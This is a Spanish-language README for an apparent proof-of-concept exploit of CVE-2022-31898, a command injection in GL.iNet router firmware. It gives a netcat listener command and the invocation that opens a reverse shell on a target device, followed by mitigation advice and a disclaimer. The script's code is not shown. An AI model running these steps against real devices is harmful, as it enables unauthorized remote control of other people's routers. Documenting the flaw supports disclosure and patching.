🥭 MangoPunch: CVE-2022-31898

Inyección de Comandos del Sistema Operativo Autenticada para Dispositivos GL.iNet

 __  __                         _____                 _     
|  \/  |                       |  __ \               | |    
| \  / | __ _ _ __   __ _  ___ | |__) |   _ _ __   ___| |__  
| |\/| |/ _` | '_ \ / _` |/ _ \|  ___/ | | | '_ \ / __| '_ \ 
| |  | | (_| | | | | (_| | (_) | |   | |_| | | | | (__| | | |
|_|  |_|\__,_|_| |_|\__, |\___/|_|    \__,_|_| |_|\___|_| |_|
                     __/ |                                   
                    |___/                                    

🔍 Resumen de la Vulnerabilidad

Este repositorio contiene una Prueba de Concepto (PoC) técnica para una vulnerabilidad de Ejecución Remota de Comandos (RCE) encontrada en el GL.iNet MT300N-V2 (Mango) y otros modelos que ejecutan versiones de firmware inferiores a 3.215.

La falla existe en el parámetro ping_addr de la API de diagnóstico, permitiendo a un atacante autenticado ejecutar comandos arbitrarios del sistema a través de metacaracteres de shell (;).

🚀 Guía de Ejecución

1. Preparar tu Listener

Abre una terminal en tu máquina atacante (Kali Linux) e inicia un listener de Netcat:

nc -lvnp 9292

2. Ejecutar el Exploit

Usa el siguiente comando para activar la shell inversa:

python3 mangopunch.py -R <TARGET_IP> -L <YOUR_IP> -l <YOUR_LISTERNER_PORT> -p <PASSWORD>

🛠️ Parámetros del Script

🛡️ Mitigación

• Actualizar Firmware: Asegúrate de que tu dispositivo esté ejecutando la versión 3.215 o superior.
• Validación de Entrada: Los desarrolladores deben implementar una validación estricta con Regex para los parámetros de IP/Hostname y evitar funciones que invoquen el shell y pasen cadenas sin procesar al sistema operativo.

Aviso Legal: Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. El autor no se hace responsable de ningún uso indebido. MangoPunch: CVE-2022-31898